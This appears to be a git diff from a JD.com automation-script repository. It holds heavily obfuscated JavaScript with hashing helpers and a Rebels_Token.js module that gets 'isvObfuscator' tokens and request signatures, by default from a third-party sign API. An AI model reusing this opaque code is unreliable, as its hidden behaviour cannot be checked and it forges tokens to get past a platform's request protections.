frvUqN6=kSJK0j[tON7qH(0xb1)](void 0x0,[0x2ef])[kSJK0j(0x2f0)]('')[kSJK0j(0x2f1)](Boolean),KwUmoG=IyrnYd.apply(void 0x0,[0x2f2])[kSJK0j(tON7qH(0x149))]('')[kSJK0j(0x2f1)](Boolean);return PN02HN(RYpFQET[kSJK0j(tON7qH(0x148))][IyrnYd(0x2f3)][IyrnYd(0x2f4)]=function(MJaNIHS){let IxGE7SR=Object[kSJK0j(0x2f5)](KwUmoG[kSJK0j.apply(void 0x0,[0x2f6])]((MJaNIHS,IxGE7SR)=>[MJaNIHS,frvUqN6[IxGE7SR]])),NPGKj5=''+MJaNIHS.ciphertext,RYpFQET=jrDSE_k(0x3,MJaNIHS.ciphertext.sigBytes%tON7qH(0xd7),NHJpwc=tON7qH(0xd8));for(let FigIJC of Array(RYpFQET))NPGKj5+=jrDSE_k(tON7qH(0x128),RYpFQET,f6acqyj(-tON7qH(0xb3)));let DsuuPnn=new Buffer[(IyrnYd(0x2f7))](NPGKj5,IyrnYd[tON7qH(0xb1)](void 0x0,[0x2f8]))[kSJK0j(0x2f9)](kSJK0j[tON7qH(0xae)](tON7qH(0xa1),0x2fa))[kSJK0j(tON7qH(0x149))]('')[IyrnYd.apply(void 0x0,[0x2fb])]()[IyrnYd(tON7qH(0x14a))]('');return DsuuPnn[kSJK0j.apply(void 0x0,[0x2f0])]('')[kSJK0j.call(tON7qH(0xa1),0x2f6)](MJaNIHS=>IxGE7SR[MJaNIHS]||MJaNIHS)[IyrnYd.apply(void 0x0,[tON7qH(0x14a)])]('')[IyrnYd(tON7qH(0x14c))](/\+/g,tON7qH(0x14b))[IyrnYd(0x2fd)](/\//g,tON7qH(0x14e))[IyrnYd(tON7qH(0x14c))](/=/g,'')},RYpFQET);function DsuuPnn(MJaNIHS,IyrnYd='K])aSGRh.Fmyji*8|QZ{09PrV3`d4eH![EJ#qI"@O~1XnD>Lu:C&Bfcbp%=k2A,^7lzN5M+0x58?0xd:0xe);do{RFEWPl(RYpFQET.push(FigIJC&tON7qH(0xa9)),FigIJC>>=tON7qH(0xa3),frvUqN6-=tON7qH(0xa3))}while(frvUqN6>tON7qH(0xab));KwUmoG=-0x1}}if(KwUmoG>-0x1){RYpFQET.push((FigIJC|KwUmoG<0x0&&vMXsiAl.PfMkzp>-tON7qH(0xea))pp1Zr0[kSJK0j(0x33a)](jrDSE_k(tON7qH(0xaa),parseInt(oAynxz1[kSJK0j(0x33b)]()||''),NHJpwc=0x12));return pp1Zr0[kSJK0j(0x33c)]('')}[kSJK0j(0x33d)](){return this[kSJK0j(0x33e)](kSJK0j(0x33f),tON7qH(0xad),tON7qH(0xaa),tON7qH(0xaf))}[kSJK0j(0x340)](){return this[kSJK0j[tON7qH(0xb1)](tON7qH(0xa1),[0x341])](kSJK0j(0x342),0x4,tON7qH(0x151),tON7qH(0xaf))}[kSJK0j[tON7qH(0xae)](tON7qH(0xa1),0x343)](){return this[kSJK0j[tON7qH(0xb1)](tON7qH(0xa1),[0x344])](kSJK0j(0x345),tON7qH(0xd7),0xc,0xa)}[kSJK0j(0x346)](){return this[kSJK0j(0x347)](kSJK0j(0x348),0x4,0xb,0x8)}[kSJK0j(0x349)](){return this[kSJK0j(0x34a)](kSJK0j(0x34b),tON7qH(0xac),0xa,0xf)}[kSJK0j(tON7qH(0x152))](MJaNIHS,IyrnYd,IxGE7SR,NPGKj5){function RYpFQET(MJaNIHS,IyrnYd){return jrDSE_k(MJaNIHS,Math[kSJK0j(0x34d)](Math[kSJK0j(0x34e)]()*(IyrnYd+0x1-MJaNIHS)),f6acqyj(-0x27))}function FigIJC(MJaNIHS,IyrnYd){let IxGE7SR=[];for(let NPGKj5=tON7qH(0x9e);NPGKj5tON7qH(0x9e))P2IntX[kSJK0j(0x358)](jrDSE_k(0x23,parseInt(avV1p3Q[kSJK0j(0x359)](),tON7qH(0xb2)),NHJpwc=tON7qH(0xd8))[kSJK0j(0x35a)](tON7qH(0xb2)));return P2IntX=P2IntX[kSJK0j(0x35b)](arrDCSQ),P2IntX[kSJK0j(0x35c)]('')}[kSJK0j(0x35d)](){let MJaNIHS={};MJaNIHS[kSJK0j[tON7qH(0xb1)](undefined,[0x35e])]=kSJK0j(0x35f);function IyrnYd(MJaNIHS,IyrnYd){var IxGE7SR=0x1,NPGKj5,RYpFQET,FigIJC,frvUqN6;RFEWPl(NPGKj5=tON7qH(0x9e),RYpFQET=MJaNIHS.length,FigIJC=tON7qH(0x9e));if(typeof IyrnYd===kSJK0j(0x360)){RFEWPl(IxGE7SR=IyrnYd&tON7qH(0x154),NPGKj5=IyrnYd>>>tON7qH(0xea))}for(frvUqN6=0x0;frvUqN6-tON7qH(0xea);frvUqN6++)IxGE7SR+=MJaNIHS[kSJK0j(0x362)](frvUqN6)&0xff,NPGKj5+=IxGE7SR;RFEWPl(IxGE7SR=jrDSE_k(tON7qH(0x137)*(IxGE7SR>>>0x10),IxGE7SR&tON7qH(0x154),f6acqyj(-0x27)),NPGKj5=jrDSE_k(0xf*(NPGKj5>>>0x10),NPGKj5&0xffff,f6acqyj(-0x27)))}return NPGKj5%tON7qH(0x156)<<0x10|IxGE7SR%0xfff1}function IxGE7SR(MJaNIHS,IyrnYd){var IxGE7SR=0x1,NPGKj5,RYpFQET,FigIJC,frvUqN6;RFEWPl(NPGKj5=0x0,RYpFQET=MJaNIHS.length,FigIJC=tON7qH(0x9e));if(typeof IyrnYd===kSJK0j(0x363)){RFEWPl(IxGE7SR=IyrnYd&tON7qH(0x154),NPGKj5=IyrnYd>>>0x10&tON7qH(0x154))}for(frvUqN6=0x0;frvUqN6>>tON7qH(0xea)),IxGE7SR&tON7qH(0x154),NHJpwc=-tON7qH(0xb3)),NPGKj5=jrDSE_k(tON7qH(0x137)*(NPGKj5>>>0x10),NPGKj5&tON7qH(0x154),f6acqyj(-0x27)))}return NPGKj5%tON7qH(0x156)<>>tON7qH(0xea))}for(DsuuPnn=0x0;DsuuPnn0x0){if(PN02HN(frvUqN6=MJaNIHS[kSJK0j(tON7qH(0x159))](DsuuPnn++),frvUqN6)<0x80){IxGE7SR+=frvUqN6}else{if(frvUqN6<0x800){RFEWPl(IxGE7SR+=tON7qH(0x157)|frvUqN6>>tON7qH(0xad)&tON7qH(0xc5),NPGKj5+=IxGE7SR,--FigIJC,IxGE7SR+=tON7qH(0x158)|frvUqN6&0x3f)}else{if(frvUqN6>=0xd800&&frvUqN6<0xe000){RFEWPl(frvUqN6=jrDSE_k(frvUqN6&tON7qH(0x15a),tON7qH(0xc2),NHJpwc=-tON7qH(0xb3)),KwUmoG=MJaNIHS[kSJK0j.apply(void 0x0,[tON7qH(0x159)])](DsuuPnn++)&tON7qH(0x15a),IxGE7SR+=tON7qH(0x15b)|frvUqN6>>0x8&tON7qH(0xab),NPGKj5+=IxGE7SR,--FigIJC,IxGE7SR+=0x80|frvUqN6>>0x2&0x3f,NPGKj5+=IxGE7SR,--FigIJC,IxGE7SR+=0x80|KwUmoG>>tON7qH(0xad)&tON7qH(0x137)|(frvUqN6&tON7qH(0xd7))<>0xc&0xf,NPGKj5+=IxGE7SR,--FigIJC,IxGE7SR+=0x80|frvUqN6>>tON7qH(0xad)&tON7qH(0x9f),NPGKj5+=IxGE7SR,--FigIJC,IxGE7SR+=0x80|frvUqN6&tON7qH(0x9f))}}}RFEWPl(NPGKj5+=IxGE7SR,--FigIJC)}RFEWPl(IxGE7SR=jrDSE_k(0xf*(IxGE7SR>>>0x10),IxGE7SR&tON7qH(0x154),NHJpwc=-0x27),NPGKj5=jrDSE_k(0xf*(NPGKj5>>>tON7qH(0xea)),NPGKj5&tON7qH(0x154),f6acqyj(-tON7qH(0xb3))))}return NPGKj5%tON7qH(0x156)<<0x10|IxGE7SR%tON7qH(0x156)}return PN02HN(MJaNIHS[kSJK0j(0x368)]=IyrnYd,MJaNIHS[kSJK0j(0x369)]=IxGE7SR,MJaNIHS[kSJK0j(0x36a)]=NPGKj5,MJaNIHS)}}const Kdd8Og=PoKXzd(()=>{var MJaNIHS=PoKXzd((IyrnYd,NPGKj5)=>{var RYpFQET=kSJK0j(0x36b)in pp1Zr0,FigIJC;FigIJC=PN02HN((IyrnYd=[IyrnYd[tON7qH(0x9e)]>>>0x10,tON7qH(0x154)&IyrnYd[0x0],IyrnYd[0x1]>>>0x10,0xffff&IyrnYd[tON7qH(0xa2)]],NPGKj5=[NPGKj5[0x0]>>>0x10,0xffff&NPGKj5[tON7qH(0x9e)],NPGKj5[tON7qH(0xa2)]>>>0x10,tON7qH(0x154)&NPGKj5[0x1]]),[0x0,tON7qH(0x9e),tON7qH(0x9e),tON7qH(0x9e)]);if(RYpFQET){var frvUqN6=PoKXzd(IyrnYd=>{var NPGKj5=IyrnYd.length,RYpFQET,FigIJC,frvUqN6,MJaNIHS;RFEWPl(RYpFQET=[],FigIJC=tON7qH(0x9e));for(frvUqN6=0x0;frvUqN6IyrnYd[frvUqN6-tON7qH(0xa2)]?jrDSE_k(RYpFQET[frvUqN6-0x1],0x1,NHJpwc=-tON7qH(0xb3)):tON7qH(0xa2));for(MJaNIHS=jrDSE_k(NPGKj5,0x1,NHJpwc=tON7qH(0xd8));MJaNIHS>=tON7qH(0x9e);MJaNIHS--){if(MJaNIHS!==NPGKj5-0x1&&IyrnYd[MJaNIHS]>IyrnYd[MJaNIHS+0x1]){RYpFQET[MJaNIHS]=Math.max(RYpFQET[MJaNIHS],jrDSE_k(RYpFQET[MJaNIHS+tON7qH(0xa2)],0x1,f6acqyj(-0x27)))}FigIJC+=RYpFQET[MJaNIHS]}return FigIJC},0x1);console.log(frvUqN6)}return FigIJC[0x3]+=jrDSE_k(IyrnYd[tON7qH(0xd7)],NPGKj5[0x3],NHJpwc=-0x27),FigIJC[tON7qH(0xb4)]+=FigIJC[0x3]>>>0x10,FigIJC[tON7qH(0xd7)]&=tON7qH(0x154),FigIJC[0x2]+=jrDSE_k(IyrnYd[0x2],NPGKj5[0x2],f6acqyj(-0x27)),FigIJC[0x1]+=FigIJC[0x2]>>>0x10,FigIJC[0x2]&=0xffff,FigIJC[0x1]+=jrDSE_k(IyrnYd[tON7qH(0xa2)],NPGKj5[0x1],f6acqyj(-tON7qH(0xb3))),FigIJC[0x0]+=FigIJC[0x1]>>>tON7qH(0xea),FigIJC[0x1]&=tON7qH(0x154),FigIJC[0x0]+=jrDSE_k(IyrnYd[0x0],NPGKj5[0x0],NHJpwc=-0x27),FigIJC[0x0]&=0xffff,[FigIJC[tON7qH(0x9e)]<<0x10|FigIJC[0x1],FigIJC[tON7qH(0xb4)]<<0x10|FigIJC[0x3]]},0x2);function IyrnYd(MJaNIHS,IyrnYd){var IxGE7SR=PN02HN((MJaNIHS=[MJaNIHS[tON7qH(0x9e)]>>>tON7qH(0xea),tON7qH(0x154)&MJaNIHS[tON7qH(0x9e)],MJaNIHS[tON7qH(0xa2)]>>>tON7qH(0xea),tON7qH(0x154)&MJaNIHS[0x1]],IyrnYd=[IyrnYd[tON7qH(0x9e)]>>>0x10,tON7qH(0x154)&IyrnYd[tON7qH(0x9e)],IyrnYd[0x1]>>>tON7qH(0xea),tON7qH(0x154)&IyrnYd[tON7qH(0xa2)]]),[0x0,tON7qH(0x9e),0x0,0x0]);return IxGE7SR[tON7qH(0xd7)]+=jrDSE_k(MJaNIHS[0x3],IyrnYd[0x3],NHJpwc=-0x9),IxGE7SR[tON7qH(0xb4)]+=IxGE7SR[tON7qH(0xd7)]>>>tON7qH(0xea),IxGE7SR[tON7qH(0xd7)]&=0xffff,IxGE7SR[tON7qH(0xb4)]+=jrDSE_k(MJaNIHS[tON7qH(0xb4)],IyrnYd[0x3],NHJpwc=-tON7qH(0xaa)),IxGE7SR[tON7qH(0xa2)]+=IxGE7SR[0x2]>>>0x10,IxGE7SR[0x2]&=0xffff,IxGE7SR[0x2]+=jrDSE_k(MJaNIHS[0x3],IyrnYd[0x2],f6acqyj(-tON7qH(0xaa))),IxGE7SR[0x1]+=IxGE7SR[0x2]>>>0x10,IxGE7SR[tON7qH(0xb4)]&=0xffff,IxGE7SR[0x1]+=jrDSE_k(MJaNIHS[tON7qH(0xa2)],IyrnYd[tON7qH(0xd7)],NHJpwc=-0x9),IxGE7SR[tON7qH(0x9e)]+=IxGE7SR[tON7qH(0xa2)]>>>0x10,IxGE7SR[tON7qH(0xa2)]&=0xffff,IxGE7SR[0x1]+=jrDSE_k(MJaNIHS[0x2],IyrnYd[0x2],NHJpwc=-tON7qH(0xaa)),IxGE7SR[0x0]+=IxGE7SR[0x1]>>>0x10,IxGE7SR[tON7qH(0xa2)]&=0xffff,IxGE7SR[tON7qH(0xa2)]+=jrDSE_k(MJaNIHS[0x3],IyrnYd[tON7qH(0xa2)],NHJpwc=-0x9),IxGE7SR[tON7qH(0x9e)]+=IxGE7SR[tON7qH(0xa2)]>>>0x10,IxGE7SR[tON7qH(0xa2)]&=tON7qH(0x154),IxGE7SR[tON7qH(0x9e)]+=jrDSE_k(MJaNIHS[tON7qH(0x9e)]*IyrnYd[0x3]+MJaNIHS[tON7qH(0xa2)]*IyrnYd[tON7qH(0xb4)]+MJaNIHS[tON7qH(0xb4)]*IyrnYd[0x1],MJaNIHS[tON7qH(0xd7)]*IyrnYd[tON7qH(0x9e)],NHJpwc=-0x27),IxGE7SR[tON7qH(0x9e)]&=tON7qH(0x154),[IxGE7SR[0x0]<<0x10|IxGE7SR[0x1],IxGE7SR[tON7qH(0xb4)]<>>tON7qH(0xd6)-IyrnYd,MJaNIHS[tON7qH(0xa2)]<>>0x20-IyrnYd]:[MJaNIHS[tON7qH(0xa2)]<<(IyrnYd-=0x20)|MJaNIHS[0x0]>>>tON7qH(0xd6)-IyrnYd,MJaNIHS[tON7qH(0x9e)]<>>tON7qH(0xd6)-IyrnYd]}function NPGKj5(MJaNIHS,IyrnYd){return tON7qH(0x9e)===(IyrnYd%=tON7qH(0xc2))?MJaNIHS:IyrnYd<0x20?[MJaNIHS[0x0]<>>tON7qH(0xd6)-IyrnYd,MJaNIHS[tON7qH(0xa2)]<>>tON7qH(0xa2)]),MJaNIHS=RYpFQET(MJaNIHS=IyrnYd(MJaNIHS,[0xff51afd7,0xed558ccd]),[0x0,MJaNIHS[0x0]>>>0x1]),RYpFQET(MJaNIHS=IyrnYd(MJaNIHS,[0xc4ceb9fe,0x1a85ec53]),[tON7qH(0x9e),MJaNIHS[0x0]>>>tON7qH(0xa2)])}return{[kSJK0j(0x36c)]:PoKXzd((frvUqN6,KwUmoG)=>{var DsuuPnn=(frvUqN6,KwUmoG,oAynxz1,pp1Zr0,avV1p3Q)=>{if(typeof pp1Zr0===tON7qH(0xa0)){pp1Zr0=hMt87a}if(typeof avV1p3Q==='undefined'){avV1p3Q=_8OS3zf}if(frvUqN6!==KwUmoG){return avV1p3Q[frvUqN6]||(avV1p3Q[frvUqN6]=pp1Zr0(mC1cgey[frvUqN6]))}if(KwUmoG){[avV1p3Q,KwUmoG]=[pp1Zr0(avV1p3Q),frvUqN6||oAynxz1];return DsuuPnn(frvUqN6,avV1p3Q,oAynxz1)}if(oAynxz1==frvUqN6){return KwUmoG[_8OS3zf[oAynxz1]]=DsuuPnn(frvUqN6,KwUmoG)}if(pp1Zr0===void 0x0){DsuuPnn=avV1p3Q}};for(var oAynxz1,pp1Zr0,Uyxnic=KwUmoG||0x0,avV1p3Q=(KwUmoG=(frvUqN6=frvUqN6||'')[kSJK0j(0x36d)]%0x10,jrDSE_k(frvUqN6[kSJK0j[tON7qH(0xae)](undefined,tON7qH(0x161))],KwUmoG,f6acqyj(0x12))),arrDCSQ=[0x0,Uyxnic],Uyxnic=[tON7qH(0x9e),Uyxnic],P2IntX=[0x87c37b91,0x114253d5],PVVJob=[0x4cf5ad43,0x2745937f],PN02HN=0x0;PN02HN{if(typeof oAynxz1==='undefined'){oAynxz1=FargF8}if(typeof pp1Zr0==='undefined'){pp1Zr0=_8OS3zf}if(DsuuPnn==frvUqN6){return KwUmoG[_8OS3zf[DsuuPnn]]=LXH4_k1(frvUqN6,KwUmoG)}if(KwUmoG){[pp1Zr0,KwUmoG]=[oAynxz1(pp1Zr0),frvUqN6||DsuuPnn];return LXH4_k1(frvUqN6,pp1Zr0,DsuuPnn)}if(frvUqN6!==KwUmoG){return pp1Zr0[frvUqN6]||(pp1Zr0[frvUqN6]=oAynxz1(mC1cgey[frvUqN6]))}if(DsuuPnn&&oAynxz1!==FargF8){LXH4_k1=FargF8;return LXH4_k1(frvUqN6,-tON7qH(0xa2),DsuuPnn,oAynxz1,pp1Zr0)}};RFEWPl(oAynxz1=[tON7qH(0xa9)&frvUqN6[kSJK0j(0x36e)](PN02HN+tON7qH(0xc1))|(0xff&frvUqN6[kSJK0j.call(tON7qH(0xa1),0x36e)](PN02HN+0x5))<tON7qH(0xa7)?tON7qH(0xa8):0xe);do{RFEWPl(pp1Zr0.push(Uyxnic&tON7qH(0xa9)),Uyxnic>>=0x8,avV1p3Q-=0x8)}while(avV1p3Q>tON7qH(0xab));arrDCSQ=-0x1}}if(arrDCSQ>-0x1){pp1Zr0.push((Uyxnic|arrDCSQ<-tON7qH(0xea))?0x6d:tON7qH(0xb7):pp1Zr0=RYpFQET(pp1Zr0,NPGKj5([0x0,frvUqN6[kSJK0j(0x36f)](jrDSE_k(PN02HN,tON7qH(0xaa),NHJpwc=-tON7qH(0xb3)))],0x8));case 0x9:RFEWPl(pp1Zr0=IyrnYd(pp1Zr0=RYpFQET(pp1Zr0,[0x0,frvUqN6[kSJK0j(tON7qH(0x15d))](jrDSE_k(PN02HN,0x8,NHJpwc=-tON7qH(0xb3)))]),PVVJob),Uyxnic=RYpFQET(Uyxnic,pp1Zr0=IyrnYd(pp1Zr0=IxGE7SR(pp1Zr0,tON7qH(0x15e)),P2IntX)));case 0x8:oAynxz1=RYpFQET(oAynxz1,NPGKj5([0x0,frvUqN6[kSJK0j(tON7qH(0x15d))](jrDSE_k(PN02HN,tON7qH(0xab),NHJpwc=-tON7qH(0xb3)))],0x38));case tON7qH(0xab):oAynxz1=RYpFQET(oAynxz1,NPGKj5([0x0,frvUqN6[kSJK0j(0x36f)](jrDSE_k(PN02HN,tON7qH(0xad),f6acqyj(-tON7qH(0xb3))))],tON7qH(0x15f)));case 0x6:oAynxz1=RYpFQET(oAynxz1,NPGKj5([tON7qH(0x9e),frvUqN6[kSJK0j(0x36f)](jrDSE_k(PN02HN,0x5,f6acqyj(-0x27)))],0x28));case 0x5:oAynxz1=RYpFQET(oAynxz1,NPGKj5([0x0,frvUqN6[kSJK0j(tON7qH(0x15d))](jrDSE_k(PN02HN,0x4,NHJpwc=-0x27))],0x20));case tON7qH(0xc1):oAynxz1=RYpFQET(oAynxz1,NPGKj5([tON7qH(0x9e),frvUqN6[kSJK0j(0x36f)](jrDSE_k(PN02HN,tON7qH(0xd7),f6acqyj(-0x27)))],tON7qH(0xb8)));case!(vMXsiAl.CqcP6PK>-tON7qH(0x160))?0x5e:tON7qH(0xd7):oAynxz1=RYpFQET(oAynxz1,NPGKj5([0x0,frvUqN6[kSJK0j(tON7qH(0x15d))](jrDSE_k(PN02HN,tON7qH(0xb4),NHJpwc=-tON7qH(0xb3)))],0x10));case tON7qH(0xb4):oAynxz1=RYpFQET(oAynxz1,NPGKj5([tON7qH(0x9e),frvUqN6[kSJK0j(tON7qH(0x15d))](jrDSE_k(PN02HN,0x1,f6acqyj(-0x27)))],0x8));case tON7qH(0xa2):RFEWPl(oAynxz1=IyrnYd(oAynxz1=RYpFQET(oAynxz1,[tON7qH(0x9e),frvUqN6[kSJK0j(tON7qH(0x15d))](PN02HN)]),P2IntX),arrDCSQ=RYpFQET(arrDCSQ,oAynxz1=IyrnYd(oAynxz1=IxGE7SR(oAynxz1,0x1f),PVVJob)))}return arrDCSQ=MJaNIHS(arrDCSQ=RYpFQET(arrDCSQ,[0x0,frvUqN6[kSJK0j(0x36d)]]),Uyxnic=RYpFQET(Uyxnic,[tON7qH(0x9e),frvUqN6[kSJK0j(tON7qH(0x161))]])),Uyxnic=MJaNIHS(Uyxnic,arrDCSQ),arrDCSQ=MJaNIHS(arrDCSQ=FigIJC(arrDCSQ),Uyxnic=FigIJC(Uyxnic)),Uyxnic=MJaNIHS(Uyxnic,arrDCSQ),jrDSE_k((kSJK0j[tON7qH(0xae)](tON7qH(0xa1),tON7qH(0x162))+(arrDCSQ[0x0]>>>tON7qH(0x9e))[kSJK0j(tON7qH(0x163))](0x10))[kSJK0j(tON7qH(0x164))](jrDSE_k(tON7qH(0xa3),NHJpwc=0xa))+(kSJK0j(tON7qH(0x162))+(arrDCSQ[0x1]>>>0x0)[kSJK0j(tON7qH(0x163))](0x10))[kSJK0j(0x372)](jrDSE_k(tON7qH(0xa3),NHJpwc=0xa))+(kSJK0j(tON7qH(0x162))+(Uyxnic[0x0]>>>0x0)[kSJK0j(0x371)](0x10))[kSJK0j(tON7qH(0x164))](jrDSE_k(0x8,f6acqyj(tON7qH(0xb7)))),(kSJK0j(tON7qH(0x162))+(Uyxnic[0x1]>>>tON7qH(0x9e))[kSJK0j(0x371)](tON7qH(0xea)))[kSJK0j(tON7qH(0x164))](jrDSE_k(tON7qH(0xa3),NHJpwc=tON7qH(0xb7))),NHJpwc=-tON7qH(0xb3));function hMt87a(frvUqN6,KwUmoG='6%|;V@K0JPeo!Rw2A&/c>rBsp#T=3+fl$bxtON7qH(0xa7)?tON7qH(0xa8):tON7qH(0xaf));do{RFEWPl(pp1Zr0.push(Uyxnic&0xff),Uyxnic>>=0x8,avV1p3Q-=0x8)}while(avV1p3Q>tON7qH(0xab));arrDCSQ=-tON7qH(0xa2)}}if(arrDCSQ>-tON7qH(0xa2)){pp1Zr0.push((Uyxnic|arrDCSQ<0x58?0xd:0xe);do{RFEWPl(NPGKj5.push(RYpFQET&0xff),RYpFQET>>=tON7qH(0xa3),FigIJC-=tON7qH(0xa3))}while(FigIJC>tON7qH(0xab));frvUqN6=-tON7qH(0xa2)}}if(frvUqN6>-0x1){NPGKj5.push((RYpFQET|frvUqN6<MdXx/U!MDt','k*GD',']chyt":Ikx','f8=lOwtFuy','FlPL(&$','w*ArbsxOE','6M3|R;.x4','6MOPg','1K[aFp&{ax','v_M7HH#F','wH49zzx4rak9$','llArLe$','Buh|HM#WE','4ld.B','.)}l','TpQ|F','Fl;.','2QlrL2IaRK<:^bWo','uu~48;4O!?','c**9=9fF4','+u~LT','ll@y/s>{E','fQ^|_vIF','bVN.6m$',';cgru;$','gVID,','nH49BefFK.','fC~LG[83E',',Vn.','ou;.','d6tD','length',0x0,0x3f,'undefined',void 0x0,0x1,0x8,0x5a,0x5b,0x1fff,0x58,0xd,0xff,0x9,0x7,0x5,0x6,'call',0xe,'oGLKEAf','apply',0x24,0x27,0x2,0x3b,null,0xa,0x18,0x49,0x4c,0x4a,0x1b,0x51,0x52,0x56,0x57,0x4,0x40,0x6d,0x6e,0x1f,!0x1,!0x0,0x7a,0x72,0x9f,0xa1,0xa4,0xab,'s',0xcf,0xd1,0xcd,0x13,0x113,0x69,0x6a,0x20,0x3,0x12,0x129,'/','NA',0x139,0x13b,0x13f,0x1e0,3.1,4.2,4.4,4.7,4.3,0x174,0x175,0x177,4.71,4.73,0x10,4.72,0x18c,0x157,0x1a6,'fp',0x1b0,0x1b2,'t',0x1ac,0x1ad,0x195,0x196,0x1cc,0x1e,0x1ce,0x1d7,0x1cf,'av',0x1df,0x1c7,0x1d8,'ua',0x1d1,0x1c8,'og',0x1f5,'fv',0x20d,0x1ae,'w','wc',0x220,'ls','ml','pp',0x225,0x226,'ow',0x228,0x229,'l',0x222,0x223,'p2','pm','np','oh',0x227,'re',0x22c,0x221,'wd',0x22b,'ps','ai',0x22f,'h','v',0x22e,0x235,0x224,'0',0x249,0x25e,0x264,0x24f,0x26a,0x269,'wk',0x270,0x26c,0x26d,0x26f,0x276,0x274,0x275,0xf,0x27e,0x280,0x245,0x252,0x29f,0x100,0x26,0x2c3,0x2c5,0x2c7,'3',0x2cf,0x2d6,'1',0x9e,0x2e8,0x2df,0x2f0,0x2fc,'-',0x2fd,0x304,'_',0x318,0x338,0xb,0x34c,0x34f,0xffff,0xa5e,0xfff1,0xc0,0x80,0x367,0x3ff,0xf0,0x36e,0x36f,0x21,0x30,0x38,0x36d,0x370,0x371,0x372]}function PoKXzd(RFEWPl,IyrnYd=0x0){var kSJK0j=function(){return RFEWPl(...arguments)};return MJaNIHS(kSJK0j,'length',{'value':IyrnYd,'configurable':true})} \ No newline at end of file diff --git a/jd/utils/Rebels_Token.js b/jd/utils/Rebels_Token.js new file mode 100644 index 00000000..aa8070aa --- /dev/null +++ b/jd/utils/Rebels_Token.js @@ -0,0 +1,30 @@ +/* +主要获取 isvObfuscator token值 + +获取签名,自定义使用方法如下 + + - 请求 API 获取 + + export JD_SIGN_API="" # 接口地址,例:http://127.0.0.1:3000/api/getSign,默认 'http://api.nolanstore.cc/sign' + export JD_SIGN_API_BODY_FIELD="" # body参数字段名,默认 'body' + export JD_SIGN_API_FUNCTIONID_FIELD="" # functionId参数字段名,默认 'fn' + export JD_SIGN_API_METHOD="" # 请求方法,默认 'POST',自定义仅支持 'GET' + export JD_SIGN_API_CONTENT_TYPE="" # 请求头 'Content-Type',默认 'application/json; charset=utf-8',支持 'application/x-www-form-urlencoded' 格式 + JSON响应格式解析的字段目前仅支持 `body` `convertUrl` `convertUrlNew` + + - 本地自定义脚本生成 + + 如果存在本地签名生成脚本则会优先加载本地签名,具体规范如下: + - 1. 需要将脚本命名为 Rebels_Sign.js 并存储在与 Rebels_Token 脚本同一目录下 + - 2. 调用函数名为 genSign 并且需要 export 导出 + - 3. 函数固定两个传参,分别是 functionId(函数id) 和 bodyParams(body参数对象) + - 4. 函数需要返回含有 body、st、sign、sv 等关键字段的url参数形式的签名字符串 + + 不管通过何种途径获取签名,最终需要的签名形式为url参数格式且至少包含 `body` `st` `sv` `sign` 字段 + + + +new Env('Rebels_Token'); +*/ + +function RkvVboQ(){}var OX9x6d=Object['defineProperty'],Oj5aTtL,y3u2D_,KKa0Qbu,Ek50dMm,C_RZi0P,zxw45O9,j_yfM9,s1UEwO,Rd4e149,usvd_v,l1XmcF,Rliswtu,NDHzai,fwYXUI,QBPjB6P,vxfUij,H3OJsT,Yc9umK,sD9yt2;function ZFr428(RkvVboQ){return Oj5aTtL[RkvVboQ<0x65?RkvVboQ>-0x16?RkvVboQ<-0x16?RkvVboQ+0x5d:RkvVboQ+0x15:RkvVboQ-0x12:RkvVboQ-0x54]}Oj5aTtL=zs5XaOo.call(this);function SLff6eg(RkvVboQ,OX9x6d){var KKa0Qbu=SK4J62(RkvVboQ=>{return Oj5aTtL[RkvVboQ>0x71?RkvVboQ-0x3e:RkvVboQ>-0xa?RkvVboQ<0x71?RkvVboQ>-0xa?RkvVboQ+0x9:RkvVboQ-0x18:RkvVboQ-0x2:RkvVboQ-0x33]},0x1);return y3u2D_(RkvVboQ,KKa0Qbu(0x3),{value:OX9x6d,configurable:!0x0})}y3u2D_=Object.defineProperty;var KZCv3g9=[],HMBpG2=['+ACt%YTqe',']rhpYGa4','%PvXn?f?R','u1FoqGH"g','Kd;Pq&vAvrGfc|','FGU{X','~_5Zjt``Npv','XB3M||E1','>a]MB5P','1wQ.J','9^d1=2RQ','xemFUaspAR^','T|SzV','oy4k9','R^g"B(Hr',ZFr428(-0x13),ZFr428(-0x15),'q76#QMHXK5o^ILY,1y|jC4g#.^kh65b,^Ht{+5_}j','Iy%at.DE,;1',ZFr428(-0x15),'q76#QMHXK5o^ILY,w5{fn8mX"[Qxp5m','i[+"{isr','M+e"e"O','q76#QMHXK5o^ILY,l2GID%_QLM*m`4M{_Ir','/YyaW(O','q76#QMHXK5o^ILk','2>uS&QCQVhbfWzm','OGS{(bgXN@jqp^k','@GkIdblRoG@g3i?','J*I{j8"t671+1/?','q76#QM(D','+GNwC4UD','2>uS&Qmr','~zPS.[8D','qT:+5!"D','q76#QMHXK5o^ILY,l2GID%qX=5iD@oR+Ppt!4I$]P7u','q76#QMHXK5o^ILY,l2GID%>6S5;/G_G{O=_w%ebd75mg3iV/kGkIg','q76#QMHXK5o^ILY,W+B+j%_QLM*m`4M{_Ir','aA6#QM(D','jYJwk:*D','+GYQq82D','q76#QMHXK5o^ILY,.ITqK:O','ARQ!0.X]K:b2D','%g|m![Yr','%JPB&Bsr','pH8Kfw1r','*ywmu6gr','OSHm',ZFr428(-0x14),'q~a7SizyPpr0:aGY)Bo(6@mZ!9D!dqj(eDi)yqin%]MB(fN%1^R6|n/4J18Q@1h0&^3ksLO`Cp`kt`Y[)Bo(6@*r','aA6#QMHXK5o^ILY,.ITqK:Uf@5_','q76#QMHXj','@=@{x8mrj','k=]#j%0Dj','fY]k','WInk0d=D','8pYZCnO','%A|mjwy!)g','AH@aC!+r','.H`?','P^J"F2vD','m8O+h@sj','AHEaaiO','GJ&84J:]B5W;EsXpMF6k','GOY`DQQk+H}P%s2E(Z/D','%A|ma5uSK:G','@eS{O%Fpq`','ByI{D%;D','%A|mjw_r','aA6#QMHXK5o^ILY,.ITqK:A]oGuf}vL/^HFf','1b`x(,O','K8wfb|L?Rv(','K8wfb|L?Rv(','P^J"F2^f4}wxFndpvpSa/','aA6#QMHXK5o^ILY,.ITqK:"t$7:xX(%]yHgw>.Y6S5mgDem','|ISa/',ZFr428(-0x14),'%ggwGY0D','xTqQi8dD','|ISa/','t=mk',ZFr428(-0x14),']^e"4J_#q','q76#QMHXK5o^ILY,TzY+QMT}N[[@w(D#e>r','q76#QMHXK50','(z_w~Gr](Gu','NkR2w1|dRM>','q76#QMHXK5o^ILY,TzY+QMT}N[[@w(+{Iq9{/5O','dyx"ZiO','Z^h?{','t=mk